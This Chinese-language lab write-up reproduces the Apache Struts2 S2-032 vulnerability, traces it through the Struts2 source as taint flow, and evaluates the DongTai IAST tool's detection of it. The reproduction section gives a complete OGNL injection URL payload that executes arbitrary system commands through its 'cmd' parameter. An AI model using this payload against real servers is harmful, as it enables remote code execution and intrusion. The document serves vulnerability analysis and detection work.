一、复现环境创建
访问火线-靶场并搜索s2-032,然后启动registry.cn-beijing.aliyuncs.com/huoxian/struts2iastagent:2.3.28
镜像

环境启动后,点击访问靶场即可正常访问,默认页面如下:

二、漏洞复现
靶场启动后,输入payload即可进行复现:
/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
结果如下:

通过修改参数cmd
的值即可实现执行不同的系统命令。
三、洞态IAST检测

四、漏洞原理分析及洞态IAST检测
1. 漏洞概述
Struts2
启用动态方法调用时,会寻找参数中包含method:
的参数名称,将参数名称标记为需要在服务器端执行的方法,然后通过ognl
执行标记的方法。
2. 原理分析
Struts2
应用通过org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter#doFilter
方法处理HTTP请求,代码如下:
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
// 省略
try {
if (this.excludedPatterns != null && this.prepare.isUrlExcluded(request, this.excludedPatterns)) {
chain.doFilter(request, response);
} else {
// 省略
ActionMapping mapping = this.prepare.findActionMapping(request, response, true);
if (mapping == null) {
// 省略
} else {
this.execute.executeAction(request, response, mapping);
}
}
} finally {
this.prepare.cleanupRequest(request);
}
}
具体的处理逻辑不进行分析,与该漏洞有关的逻辑主要有两个,分别是:
- 对request对象进行处理,得到ActionMapping实例化对象:
ActionMapping mapping = this.prepare.findActionMapping(request, response, true)
- 将request、response和ActionMapping传入
execute.executeAction
方法中进行处理
其中,source点出现在findActionMapping
中,经过一系列的污点传播最终在executeAction
中传入sink方法触发漏洞。
2.1 source点相关的代码逻辑
在org.apache.struts2.dispatcher.mapper.DefaultActionMapper#handleSpecialParameters
方法中,调用request.getParameterMap
方法获取初始污点
public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
Set<String> uniqueParameters = new HashSet();
Map parameterMap = request.getParameterMap();
Iterator i$ = parameterMap.keySet().iterator();
while(i$.hasNext()) {
Object o = i$.next();
String key = (String)o;
if (key.endsWith(".x") || key.endsWith(".y")) {
key = key.substring(0, key.length() - 2);
}
if (!uniqueParameters.contains(key)) {
ParameterAction parameterAction = (ParameterAction)this.prefixTrie.get(key);
if (parameterAction != null) {
parameterAction.execute(key, mapping);
uniqueParameters.add(key);
break;
}
}
}
}
然后遍历参数名,当参数名以method:
、action:
开头时,将调用ParameterAction
实例化类的execute
方法,处理参数名称。其中,当参数名为method:xxxx
时,会将xxxx
作为动态方法名称传入ActionMapping
中。
洞态IAST检测结果如下

2.2 传播方法及漏洞触发分析
创建ActionMapping
后,调用execute.executeAction(request, response, mapping)
方法,将mapping实例化对象传入executeAction
方法,接下来跟进executeAction
方法
// org.apache.struts2.dispatcher.Dispatcher
public void serviceAction(HttpServletRequest request, HttpServletResponse response, ActionMapping mapping) throws ServletException {
// 省略
try {
UtilTimerStack.push(timerKey);
String namespace = mapping.getNamespace();
String name = mapping.getName();
String method = mapping.getMethod();
ActionProxy proxy = ((ActionProxyFactory)this.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy(namespace, name, method, extraContext, true, false);
// 省略
if (mapping.getResult() != null) {
Result result = mapping.getResult();
result.execute(proxy.getInvocation());
} else {
proxy.execute();
}
// 省略
} catch (ConfigurationException var17) {
// 省略
} catch (Exception var18) {
// 省略
} finally {
// 省略
}
}
serviceAction
方法中,调用mapping.getMethod
方法取出原始污点,然后调用createActionProxy
方法,创建proxy实例化对象。
在createActionProxy
方法中,先创建DefaultActionInvocation
的实例化对象,然后创建StrutsActionProxy
对象,并绑定至DefaultActionInvocation
类中:
public ActionProxy createActionProxy(String namespace, String actionName, String methodName, Map<String, Object> extraContext, boolean executeResult, boolean cleanupContext) {
ActionInvocation inv = this.createActionInvocation(extraContext, true);
this.container.inject(inv);
return this.createActionProxy(inv, namespace, actionName, methodName, executeResult, cleanupContext);
}
// 创建proxy并绑定至ActionInvocation
public ActionProxy createActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) {
StrutsActionProxy proxy = new StrutsActionProxy(inv, namespace, actionName, methodName, executeResult, cleanupContext);
this.container.inject(proxy);
proxy.prepare();
return proxy;
}
创建proxy对象时,将方法名称进行html和script的转义然后传入method字段,代码如下:
protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) {
this.invocation = inv;
this.cleanupContext = cleanupContext;
if (LOG.isDebugEnabled()) {
LOG.debug("Creating an DefaultActionProxy for namespace [#0] and action name [#1]", new String[]{namespace, actionName});
}
this.actionName = StringEscapeUtils.escapeHtml4(actionName);
this.namespace = namespace;
this.executeResult = executeResult;
this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName));
}
最终,调用至xwork-core-2.3.23.jar:com.opensymphony.xwork2.DefaultActionInvocation#invokeAction
方法,代码如下:
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
String methodName = this.proxy.getMethod();
try {
String altMethodName;
try {
try {
methodResult = this.ognlUtil.getValue(methodName + "()", this.getStack().getContext(), action);
} catch (MethodFailedException var18) {
// 省略
try {
altMethodName = "do" + methodName.substring(0, 1).toUpperCase() + methodName.substring(1) + "()";
methodResult = this.ognlUtil.getValue(altMethodName, this.getStack().getContext(), action);
} catch (MethodFailedException var17) {
// 省略
}
}
// 省略
return var22;
} catch (NoSuchPropertyException var19) {
//
} catch (MethodFailedException var20) {
//
}
} finally {
//
}
}
在该方法中,调用this.proxy.getMethod()
方法获取传播后的污点,然后拼接methodName + "()”
,调用this.ognlUtil.getValue
方法创建ognl表达式并执行,触发命令执行漏洞。
洞态IAST检测结果如下
首先,污点在DefaultActionProxy
类中经过escapeXxxx
后,传播到method
字段


然后,从method
字段获取污点,在DefaultActionInvocation
类的经过字符串拼接methodName + "()”
后,传播为新污点

新的污点在this.ognlUtil.getValue
方法中,通过Ognl.parseExpression
方法传播为ognl对象

最后,ognl对象调用getValue
方法,获取表达式的值,触发漏洞。

五、洞态IAST检测S2-032说明
S2-032漏洞由两部分组成,首先,参数名以method:
开头时,会被作为ognl表达式执行;然后,ognl表达式需要进行绕过等处理。
洞态IAST仅支持检测参数名被当作ognl表达式
执行,无法检测ognl中绕过的相关问题。因此,针对需要绕过才能触发的漏洞,IAST更适合作为辅助工具,发现一条可行的漏洞触发路径,但是,漏洞是否真实可利用,还需要编写相关的poc,做对应的绕过尝试。
本文迁移自知识星球“火线Zone”